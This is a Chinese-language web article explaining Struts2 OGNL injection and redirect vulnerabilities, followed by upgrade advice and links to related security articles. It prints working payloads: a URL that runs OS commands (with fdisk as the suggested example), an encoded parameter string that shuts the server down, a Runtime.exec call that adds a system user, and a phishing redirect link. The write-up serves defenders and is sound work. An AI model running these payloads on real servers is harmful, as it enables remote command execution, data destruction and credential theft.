struts2安全漏洞分析

在2013年6月底發(fā)布的Struts 2.3.15版本被曝出存在重要的安全漏洞 ,主要問題如下:
可遠(yuǎn)程執(zhí)行服務(wù)器腳本代碼
用戶可以構(gòu)造http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}鏈接,command goes here可以換成是破壞腳本的路徑和參數(shù),比如fdisk -f等,造成破環(huán)系統(tǒng)無法運(yùn)行的目的。
重定向漏洞
用戶可以構(gòu)造如知名網(wǎng)站淘寶的重定向連接,形如<a href="http://www.淘寶.com/item00001.html?redirect:http://黑客/getyourPassword">打折新款</a>,引導(dǎo)用戶點(diǎn)擊后進(jìn)入釣魚網(wǎng)站,在界面上讓其進(jìn)行登陸用以獲取用戶的密碼。
造成的影響:
蘋果、中國移動(dòng)、中國聯(lián)通、百度、騰訊、淘寶、京東、Sohu、民生銀行等大型企業(yè)的網(wǎng)站均遭毒手,運(yùn)維 工程師苦不堪言。
應(yīng)對措施:
Apache團(tuán)隊(duì)緊急發(fā)布了Struts 2.3.15.1安全更新版本,可升級(jí)到此版本來解決上述問題。
struts2漏洞攻擊方法與解決方案
1、原理
Struts2的核心是使用的webwork框架,處理 action時(shí)通過調(diào)用底層的getter/setter方法來處理http的參數(shù),它將每個(gè)http參數(shù)聲明為一個(gè)ONGL(這里是ONGL的介紹)語句。當(dāng)我們提交一個(gè)http參數(shù):
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉(zhuǎn)換為:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過ParametersInterceptor(參數(shù)過濾器)來執(zhí)行的,使用用戶提供的HTTP參數(shù)調(diào)用 ValueStack.setValue()。
為了防范篡改服務(wù)器端對象,XWork的ParametersInterceptor不允許參數(shù)名中出現(xiàn)“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護(hù),修改保護(hù)Java方式執(zhí)行的值:
此處代碼有破壞性,請?jiān)跍y試環(huán)境執(zhí)行,嚴(yán)禁用此種方法進(jìn)行惡意攻擊
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉(zhuǎn)義后是這樣:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時(shí)最終的結(jié)果就是
java.lang.Runtime.getRuntime().exit(1); //關(guān)閉程序,即將web程序關(guān)閉
類似的可以執(zhí)行
java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增加操作系統(tǒng)用戶,在有權(quán)限的情況下能成功(在URL中用%20替換空格,%2F替換/)
只要有權(quán)限就可以執(zhí)行任何DOS命令。
2、解決方法
網(wǎng)上很多文章都介紹了三種解決方法,個(gè)人覺得將struts2的jar包更新到最新版本最簡單,不用更改任何程序代碼,目前最新版本2.3.4
下載到的更新包中有很多jar包,我系統(tǒng)中主要用到以下幾個(gè)替換掉舊版本的:
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (替換舊版本)
struts2-core-2.3.4.1.jar (替換舊版本)
xwork-core-2.3.4.1.jar (替換舊版本)
本文大部分內(nèi)容復(fù)制于其他文章:
http://my-corner.iteye.com/blog/720209
相關(guān)文章
- 今天我要講的是:如何成為一名真正的優(yōu)秀的道德黑客?不管是新手還是老手,有興趣的朋友們都可以看一看2023-07-03
- 這篇文章主要介紹了白帽黑客、灰帽黑客、黑帽黑客三者的區(qū)別介紹,需要的朋友可以參考下2023-07-03
什么是DDoS攻擊?CC攻擊?cc攻擊與ddos攻擊區(qū)別小結(jié)
CC和DDoS都是我們最長聽到的黑客攻擊手段,那么它們有什么區(qū)別呢?CC攻擊會(huì)造成什么后果呢?也可通過這篇文章了解更多的CC攻擊知識(shí):什么是CC攻擊?怎么防御CC攻擊?誰的威2023-07-03- 這篇文章主要介紹了Struts2 S2-016漏洞修復(fù)總結(jié),需要的朋友可以參考下2016-08-20
- Struts2是apache項(xiàng)目下的一個(gè)web 框架,普遍應(yīng)用于阿里巴巴、京東等互聯(lián)網(wǎng)、政府、企業(yè)門戶網(wǎng)站2016-08-20
烏云漏洞平臺(tái)被連鍋端?互聯(lián)網(wǎng)安全缺失的到底是什么
還記得我們之前說過的有個(gè)白帽子提交了世紀(jì)佳緣的漏洞然后被世紀(jì)佳緣告了的事情嗎?這件事情引起了國內(nèi)很多白帽黑帽的關(guān)注,如今事情又發(fā)酵,中國最大的兩大漏洞平臺(tái)——烏2016-07-20- 未來的互聯(lián)網(wǎng)最重要的不是速度,不是容量,而是安全。黑客這個(gè)詞很多人已經(jīng)耳熟能詳,雖然他們是一群神秘的人,但不能判斷他們是不是好人,越厲害的往往威脅越大。其實(shí)有一2016-07-15
支付寶花唄套現(xiàn)隱患多多 騙子已經(jīng)形成產(chǎn)業(yè)鏈
支付寶花唄是支付寶提供的第三方信用平臺(tái),根據(jù)你的消費(fèi)購物信用給你透支額度,給很多不想辦信用卡的人帶來了很多方便,但是,最近出現(xiàn)的利用花唄套現(xiàn)的人,卻在不知不覺中2016-07-14- 有一天打開電腦,發(fā)現(xiàn)電腦已經(jīng)被鎖住,窗口彈出說明:如果你不給錢,就把你的電腦清空,這就是遇到了勒索軟件。近年來,這種勒索已經(jīng)頻頻出現(xiàn)在安卓手機(jī)上,手機(jī)里的重要資2016-07-11
未來互聯(lián)網(wǎng)企業(yè)安全問題預(yù)測 網(wǎng)絡(luò)安全是場硬仗
互聯(lián)網(wǎng)的發(fā)展已經(jīng)步入穩(wěn)定期,未來不會(huì)像之前那樣呈現(xiàn)爆發(fā)性增長的狀況了,那么未來的網(wǎng)絡(luò)誰是主角?是安全。云計(jì)算與大數(shù)據(jù)在為我們的生活工作帶來方便的同時(shí),也面臨著從2016-06-28